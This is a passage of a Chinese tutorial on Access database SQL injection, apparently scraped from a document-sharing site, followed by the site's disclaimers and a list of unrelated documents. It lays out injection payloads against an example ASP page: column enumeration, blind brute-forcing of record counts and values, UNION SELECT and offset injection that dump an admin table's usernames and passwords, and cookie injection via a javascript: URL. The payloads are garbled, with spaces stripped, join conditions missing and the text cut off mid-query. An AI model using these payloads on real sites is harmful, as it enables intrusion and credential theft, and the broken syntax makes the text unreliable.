爆出id列名,繼續(xù)輸入:id=39groupby1,idhaving1=1,暴出第二列名,具體如下:-逐漸把暴出的列名添加到groupby后面,例如繼續(xù)輸入:id=39groupby1,id,aahaving1=1,可以暴出aa下一列列名,依次類推暴出所有列名值。猜解列名Having1=1猜解列名Having1=1第二種情況,如果站點(diǎn)的sql查詢語句查詢的是沒用特定列名的數(shù)據(jù),諸如select*fromproductwhereid=“&ID&”,此情況只能爆出第一個(gè)列名,同時(shí)having后面必須跟諸如sum、avg等合計(jì)函數(shù)。例如輸入:id=49havingsum(1)=1,頁面返回如下:猜解列名Having1=1猜解記錄總數(shù)暴力破解法使用語句and(selectcount(1)from表名where1=1)<整數(shù),猜解表記錄總數(shù),不斷縮小整數(shù)大小,直到等于某一整數(shù),猜解出表記錄數(shù)。例如輸入:id=39and(selectcount(1)from[admin]where1=1)<10猜解記錄總數(shù)暴力破解法猜解記錄長度暴力破解法使用語句and(selecttop1len(cstr(列名))from(selecttop1*from表名where1=1orderby列名)Torderby列名desc)<整數(shù),猜解記錄長度,其中l(wèi)en()求字節(jié)長度,cstr()轉(zhuǎn)換數(shù)據(jù)為字符串。因?yàn)椤皌op1”的意思是把最靠前的1條記錄給提取出來,所以如果要猜解第二條記錄就該使用selecttop1len(列名)from表名where列名notin(selecttop1列名from表名),依次類推可以猜測出所有記錄字段的長度。例如輸入:id=39and(selecttop1len(cstr(id))from(selecttop1*fromadminwhere1=1orderbyid)Torderbyiddesc)<10猜解記錄長度暴力破解法猜解記錄值暴力破解法使用語句and(selecttop1asc(mid(cstr(列名),1,1))from(selecttop1*from表名where1=1orderby列名)Torderby列名desc)between整數(shù)1and整數(shù)2,猜解表記錄字段值,asc(),mid()都是Access函數(shù)。例如輸入:id=39andand(selecttop1asc(mid(cstr(id),1,1))from(selecttop1[id]fromadminwhere1=1orderby[id])Torderbyiddesc)between30and130猜解記錄值暴力破解法猜解記錄值Unionselect法使用unionselect語句猜解記錄列名的值,有兩個(gè)前提條件,分別是找到一個(gè)可注入點(diǎn)和目標(biāo)表名。假如http://7/modify.asp?id=39存在漏洞,則id=39為一個(gè)可注入點(diǎn)。要探測的目標(biāo)表為admin。接下來將介紹使用unionselect猜解記錄值的流程如下。猜解記錄值Unionselect法猜解記錄值探測列數(shù)首先使用orderbynumber探測列數(shù),不停地修改number列名的值直到頁面返回錯(cuò)誤頁面為止。輸入:id=39orderby1,頁面返回如下圖。猜解記錄值探測列數(shù)猜解記錄值探測列數(shù)不斷增加number值,當(dāng)輸入id=39orderby9,頁面返回出錯(cuò),所以這時(shí)可以判斷7/modify.asp?id=39接的數(shù)據(jù)庫列數(shù)為8,具體如下圖。猜解記錄值探測列數(shù)猜解記錄值探測暴出數(shù)據(jù)內(nèi)容的位置輸入:id=39unionselect1,2,3,4,5,6,7,8fromadmin,此時(shí)會(huì)發(fā)現(xiàn)頁面上顯示出了數(shù)字,比如2、3這些數(shù)字,這些數(shù)字的地方就是待會(huì)爆出數(shù)據(jù)內(nèi)容的位置,具體如下。猜解記錄值探測暴出數(shù)據(jù)內(nèi)容的位置猜解記錄值暴出記錄值輸入:id=39unionselect1,name,passwd,4,5,6,7,8fromadmin,返回頁面默認(rèn)的暴出的是數(shù)據(jù)庫最后一個(gè)列名值,具體如下圖。猜解記錄值暴出記錄值猜解記錄值暴出記錄值輸入:id=39and1=2unionselecttop11,name,passwd,4,5,6,7,8fromadmin暴出第一個(gè)記錄列名值。輸入:id=39and1=2unionselecttop11,name,passwd,4,5,6,7,8fromadminwherenamenotin(selecttop1namefromadmin)暴出第二個(gè)記錄列名的值,類似依次暴出所有列名的值。猜解記錄值暴出記錄值猜解記錄值偏移注入法使用unionselect查詢目標(biāo)數(shù)據(jù)庫列名內(nèi)容的時(shí)候,有時(shí)候返回到頁面的內(nèi)容不是自己想要的內(nèi)容,這個(gè)時(shí)候Access偏移注入就派上很好的用場了,使用Access偏移注入能夠打亂目標(biāo)數(shù)據(jù)庫的查詢結(jié)果,不停地偏移可以使得頁面返回自己想要的結(jié)果。Access偏移前提是知道目標(biāo)表名和一個(gè)列名。以目標(biāo)網(wǎng)址http://7/modify.asp?id=39為例,本例中目標(biāo)表名為admin、一個(gè)列名為name,具體流程如下。猜解記錄值偏移注入法猜解記錄值獲取目標(biāo)列數(shù)目使用orderby容易得出目標(biāo)網(wǎng)址連接表的列數(shù)為8。輸入:id=39and1=2unionselect1,*fromadmin,頁面返回如下圖。猜解記錄值獲取目標(biāo)列數(shù)目猜解記錄值獲取目標(biāo)列數(shù)目逐漸增加unionselect后面的列數(shù),當(dāng)輸入:id=39and1=2unionselect1,2,3,4,5,*fromadmin的時(shí)候,可以得出admin的列名數(shù)為8-5=3個(gè),具體如下圖。猜解記錄值獲取目標(biāo)列數(shù)目猜解記錄值目標(biāo)自聯(lián)自聯(lián)有一個(gè)重要的條件就是目標(biāo)表(比如例子admin)的列數(shù)*2<orderby出的列數(shù),例子admin表列名為3,3*2<8,因此符合條件。Admin表3個(gè)列名,自聯(lián)后是6個(gè)列名,然后隨便加2個(gè)列名變成8個(gè)列名,構(gòu)造和7/modify.asp?id=39連接數(shù)據(jù)庫表列名數(shù)目一樣。猜解記錄值目標(biāo)自聯(lián)猜解記錄值目標(biāo)自聯(lián)輸入:id=39and1=2unionselect1,2,*from(adminasainnerjoinadminasbon=),從返回頁面看沒有返回有用信息,具體如下圖。猜解記錄值目標(biāo)自聯(lián)猜解記錄值目標(biāo)自聯(lián)那么再次輸入:id=39and1=2unionselect1,2,,,*from(adminasainnerjoinadminasbon=),返回結(jié)果看僅僅返回了用戶名,具體如下。猜解記錄值目標(biāo)自聯(lián)猜解記錄值目標(biāo)自聯(lián)那么更改列名值順序輸入:id=39and1=2unionselect1,,,3,*from(adminasainnerjoinadminasbon=),從返回界面可以暴出了目標(biāo)表admin表的用戶名與密碼值,具體如下。猜解記錄值目標(biāo)自聯(lián)猜解記錄值Cookie注入猜解法利用Cookie注入猜解記錄值與使用url參數(shù)、post參數(shù)猜解記錄值原理一樣,用也unionselect語句。以目標(biāo)網(wǎng)址http://7/modify.asp?id=39為例,假如已經(jīng)知道目標(biāo)表名為admin,表的2個(gè)列名分別為name、passwd,具體流程如下。猜解記錄值Cookie注入猜解法猜解記錄值Cookie注入猜解法在瀏覽器輸入:javascript:alert(document.cookie=“id=”+escape(“39and1=2unionselect1,name,passwdfromadmin”)),頁面如:猜解記錄值Cookie注入猜解法猜解記錄值Cookie注入猜解法緊接著在瀏覽器輸入:7/modify.asp?,返回的頁面中暴出了數(shù)據(jù)庫中字段值,具體如下:猜解記錄值Cookie注入猜解法Access注入-跨庫查詢跨庫查詢簡介有時(shí)候某個(gè)網(wǎng)站服務(wù)器上有兩個(gè)以上網(wǎng)站,你發(fā)現(xiàn)其中一個(gè)有Access注入點(diǎn),但是后臺(tái)沒法提權(quán),另外一個(gè)網(wǎng)站沒有注入點(diǎn),但是后臺(tái)卻有你需要的功能。那么這個(gè)時(shí)候,跨庫是不錯(cuò)的選擇??鐜煨枰獌蓚€(gè)條件,分別是前一個(gè)注入點(diǎn)連接表的列數(shù)、目標(biāo)數(shù)據(jù)庫的絕對路徑。第一個(gè)條件可以使用orderbynumber輕松獲得,第二個(gè)條件一般借助Access暴庫獲得??鐜觳樵儣l件苛刻,且現(xiàn)在access能夠暴庫的很少,故這里不做詳細(xì)敘述。Access注入-跨庫查詢跨庫查詢簡介Access注入-注入導(dǎo)入功能注入導(dǎo)入功能簡介假如能夠把Access數(shù)據(jù)庫里的表方便的導(dǎo)入指定位置文件(例如txt、htm、html等,這里以txt為例)里,理論上只要知道表名,不需要知道段名,就可以看到該表所有內(nèi)容了,較暴力破解速度也會(huì)大有提高。Access注入-注入導(dǎo)入功能注入導(dǎo)入功能簡介Access注入-注入導(dǎo)入功能注入導(dǎo)入功能簡介輸入:id=39and1=2unionselect1,name,passwd,4,5,6,7,8
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 武南污水處理廠擴(kuò)建改造工程環(huán)境影響報(bào)告書
- 第六課 中國古代的科學(xué)技術(shù)課件
- 2021年10月廣西柳州市科學(xué)技術(shù)局公開招聘合同制工勤人員模擬題(一)
- 2024年工程合同參考樣本(3篇)
- 班級(jí)管理員操作手冊
- 鳥眼病的診斷與治療
- 合成材料制造過程中的安全與危險(xiǎn)源控制考核試卷
- 天然氣開采業(yè)市場前景展望考核試卷
- 信息系統(tǒng)的農(nóng)業(yè)與農(nóng)村發(fā)展考核試卷
- 人力資源信息系統(tǒng)與數(shù)字化管理考核試卷
- 2024年軍隊(duì)文職統(tǒng)一考試《專業(yè)科目》管理學(xué)試卷(網(wǎng)友回憶版)含解析
- GB/T 44456-2024電子競技場館運(yùn)營服務(wù)規(guī)范
- 高中英語必背3500單詞表
- 2024年全國職業(yè)院校技能大賽中職組(裝配式建筑構(gòu)件安裝賽項(xiàng))考試題庫(含答案)
- 2024年全國職業(yè)院校技能大賽高職組(建筑裝飾數(shù)字化施工賽項(xiàng))備賽試題庫含答
- 2024國機(jī)資本控股限公司招聘高頻考題難、易錯(cuò)點(diǎn)模擬試題(共500題)附帶答案詳解
- DB11-T854-2023占道作業(yè)交通安全設(shè)施設(shè)置技術(shù)要求
- DB32T 2618-2023 高速公路工程施工安全技術(shù)規(guī)范
- 2024年廣東省高中學(xué)業(yè)水平合格考語文試卷真題(含答案詳解)
- 2024年新蘇教版五年級(jí)上冊科學(xué)全冊期末復(fù)習(xí)知識(shí)點(diǎn)
- DPtech-FW1000系列防火墻系統(tǒng)操作手冊
評(píng)論
0/150
提交評(píng)論